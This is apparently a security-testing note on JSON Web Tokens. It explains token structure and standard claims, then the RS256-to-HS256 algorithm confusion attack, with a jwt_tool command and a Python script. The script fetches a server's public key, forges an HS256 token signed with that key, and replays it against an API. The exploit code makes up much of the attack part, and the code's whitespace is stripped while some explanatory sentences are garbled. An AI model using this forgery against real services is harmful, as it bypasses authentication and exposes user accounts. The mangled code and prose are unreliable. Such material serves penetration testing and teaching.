JSON Web Token (JWT) is a compact URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS).
Auth Flow:
Make request to Identity Provider and return JWT.
Use JWT for authentication to Service Provider.
If Algorithm is Symmetric Key is shared with both the Identity Provider and the Service Provider.
If Algorithm is Private Key is only needed by the Identity Provider.
The first part of a JWT is an encoded string representation of a simple JavaScript object which describes the token along with the hashing algorithm used.
The second part of the JWT forms the core of the token. Payload length is proportional to the amount of data you store in the JWT. General rule of thumb is: store the bare minimum in the JWT.
iat: issued at time – epoch time when this JWT was issued
exp: expiration time – epoch time when this JWT becomes invalid
nbf: not before time – epoch time when this JWT becomes valid
iss: issuer – who issued this JWT
sub: subject – the claims in the JWT concern this party
The third, and final, part of the JWT is a signature generated based on the header (part one) and the body (part two) and will be used to verify that the JWT is valid.
The verification key that is used in with a Private/Public Key Algorithm uses a public key.
The verification key that is used in with a Symmetric Key Algorithm uses a private key.
When taking a JWT from a Using a Private/Public Key Algorithm and changing the header to a Symmetric Key Algorithm.
The verifier will use the public key for validating the signature of the algorithm.
If the Public key is know than it is possible to change the data within the JWT.
Example:
#Signature with a null String>>> python ./jwt_tool.py -b eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X beyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.6iW3XbKRol_fh1x2Zu5FyfExk8EChz1gMkhuoWmL8OI#Brute Force Key
Example Code:
importjwtimportrequestsfromjwcryptoimportjwkfromcryptography.x509importload_pem_x509_certificatefromcryptography.hazmat.backendsimportdefault_backend# configuration
jwks_url="https://localhost/oauth2/.well-known/jwks.json"operation_url="https://localhost/web/v1/user/andy"audience="https://localhost"token="eyJh..."# retrieves key from jwks
defretrieve_jwks(url):r=requests.get(url)ifr.status_code==200:forkeyinr.json()['keys']:ifkey['kty']=="RSA":returnjwk.JWK(**key)print("no usable RSA key found")else:print("could not retrieve JWKS: HTTP status code "+str(r.status_code))defextract_payload(token,public_key,audience):returnjwt.decode(token,public_key,audience=audience,algorithms='RS256')defretrieve_url(url,token):header={'Authorization':"Bearer "+token}returnrequests.get(url,headers=header)# call the original operation and output it's results
original=retrieve_url(operation_url,token)print("original: status: "+str(original.status_code)+"\nContent: "+str(original.json()))# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key=retrieve_jwks(jwks_url).export_to_pem()payload=extract_payload(token,public_key,audience)print("(verified) payload: "+str(payload))# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key=str(public_key).replace("PUBLIC","PRIVATE")hs256_token=jwt.encode(payload,key=mac_key,algorithm="HS256")# call the operation with the new token
modified=retrieve_url(operation_url,str(hs256_token))print("modified: status: "+str(modified.status_code)+"\nContent: "+str(modified.json()))